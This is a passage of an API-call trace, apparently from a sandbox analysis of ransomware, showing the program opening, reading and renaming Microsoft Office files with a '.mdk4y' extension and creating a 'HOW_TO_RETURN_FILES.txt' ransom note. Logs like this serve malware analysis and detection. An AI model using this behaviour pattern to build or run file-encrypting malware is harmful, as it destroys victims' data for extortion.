files\\microsoft office\\office14\\proof\\msth7es.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831248100000) returned 1 [0237.251] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ef80, lpOverlapped=0x0) returned 1 [0237.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831248500000) returned 1 [0237.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831248500000) returned 1 [0237.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.dll.mdk4y")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.263] AreFileApisANSI () returned 1 [0237.263] GetACP () returned 0x4e4 [0237.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7ES.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7ES.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0237.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831249400000) returned 1 [0237.265] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831252200000) returned 1 [0237.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831252200000) returned 1 [0237.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7es.lex.mdk4y")) returned 1 [0237.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.366] AreFileApisANSI () returned 1 [0237.366] GetACP () returned 0x4e4 [0237.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7FR.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7FR.DLL", lpUsedDefaultChar=0x37df4c) returned 11 [0237.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831259700000) returned 1 [0237.367] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ef80, lpOverlapped=0x0) returned 1 [0237.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831264300000) returned 1 [0237.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831264300000) returned 1 [0237.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.dll.mdk4y")) returned 1 [0237.422] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.422] AreFileApisANSI () returned 1 [0237.422] GetACP () returned 0x4e4 [0237.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTH7FR.LEX", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSTH7FR.LEX", lpUsedDefaultChar=0x37df4c) returned 11 [0237.422] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831265400000) returned 1 [0237.424] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0237.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831271400000) returned 1 [0237.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831271400000) returned 1 [0237.492] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msth7fr.lex.mdk4y")) returned 1 [0237.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0237.494] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0237.495] AreFileApisANSI () returned 1 [0237.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0237.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0237.496] GetFileType (hFile=0x12c) returned 0x1 [0237.500] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.500] AreFileApisANSI () returned 1 [0237.500] GetACP () returned 0x4e4 [0237.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROPMGR.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROPMGR.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0237.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0237.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831273100000) returned 1 [0237.501] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x12790, lpOverlapped=0x0) returned 1 [0237.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831277600000) returned 1 [0237.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831277600000) returned 1 [0237.554] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPMGR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\propmgr.dll.mdk4y")) returned 1 [0237.557] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.557] AreFileApisANSI () returned 1 [0237.557] GetACP () returned 0x4e4 [0237.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PROPRPT.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PROPRPT.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0237.557] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0237.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831278800000) returned 1 [0237.558] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0237.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831280400000) returned 1 [0237.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831280400000) returned 1 [0237.582] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROPRPT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\proprpt.dll.mdk4y")) returned 1 [0237.585] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.585] AreFileApisANSI () returned 1 [0237.585] GetACP () returned 0x4e4 [0237.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRTF9.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PRTF9.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0237.585] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0237.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831281600000) returned 1 [0237.586] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x29980, lpOverlapped=0x0) returned 1 [0237.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831281800000) returned 1 [0237.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831281800000) returned 1 [0237.589] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PRTF9.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\prtf9.dll.mdk4y")) returned 1 [0237.591] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.591] AreFileApisANSI () returned 1 [0237.591] GetACP () returned 0x4e4 [0237.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSTPRX32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PSTPRX32.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0237.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0237.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831282200000) returned 1 [0237.592] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x68368, lpOverlapped=0x0) returned 1 [0237.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831285700000) returned 1 [0237.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831285700000) returned 1 [0237.630] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll.mdk4y")) returned 1 [0237.633] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.633] AreFileApisANSI () returned 1 [0237.633] GetACP () returned 0x4e4 [0237.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PTXT9.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PTXT9.DLLDLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0237.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0237.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831286400000) returned 1 [0237.634] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xde180, lpOverlapped=0x0) returned 1 [0237.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831289100000) returned 1 [0237.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1831289100000) returned 1 [0237.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PTXT9.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\ptxt9.dll.mdk4y")) returned 1 [0237.692] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0237.692] AreFileApisANSI () returned 1 [0237.692] GetACP () returned 0x4e4 [0237.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PUBBA", cchWideChar=5, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PUBBA.DLL", lpUsedDefaultChar=0x37dfd8) returned 5 [0237.692] AreFileApisANSI () returned 1 [0237.692] GetACP () returned 0x4e4 [0237.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned 49 [0237.693] AreFileApisANSI () returned 1 [0237.693] GetACP () returned 0x4e4 [0237.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0237.693] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.693] AreFileApisANSI () returned 1 [0237.693] GetACP () returned 0x4e4 [0237.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0237.693] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.693] AreFileApisANSI () returned 1 [0237.693] GetACP () returned 0x4e4 [0237.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB10.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB10.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831292500000) returned 1 [0237.695] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xca60, lpOverlapped=0x0) returned 1 [0237.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831293800000) returned 1 [0237.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831293800000) returned 1 [0237.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub10.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub10.bdr.mdk4y")) returned 1 [0237.710] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.710] AreFileApisANSI () returned 1 [0237.711] GetACP () returned 0x4e4 [0237.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB11.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB11.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.711] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294200000) returned 1 [0237.712] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69e0, lpOverlapped=0x0) returned 1 [0237.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294300000) returned 1 [0237.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294300000) returned 1 [0237.713] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub11.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub11.bdr.mdk4y")) returned 1 [0237.714] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.714] AreFileApisANSI () returned 1 [0237.714] GetACP () returned 0x4e4 [0237.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB1A.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB1A.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.714] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1a.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294500000) returned 1 [0237.715] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf254, lpOverlapped=0x0) returned 1 [0237.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294600000) returned 1 [0237.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294600000) returned 1 [0237.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1a.bdr.mdk4y")) returned 1 [0237.718] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.718] AreFileApisANSI () returned 1 [0237.718] GetACP () returned 0x4e4 [0237.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB1B.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB1B.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831294900000) returned 1 [0237.719] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3574, lpOverlapped=0x0) returned 1 [0237.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831295000000) returned 1 [0237.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831295000000) returned 1 [0237.720] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub1b.bdr.mdk4y")) returned 1 [0237.722] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0237.722] AreFileApisANSI () returned 1 [0237.722] GetACP () returned 0x4e4 [0237.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPUB2A.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPUB2A.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0237.722] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2a.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0237.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831295300000) returned 1 [0237.723] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 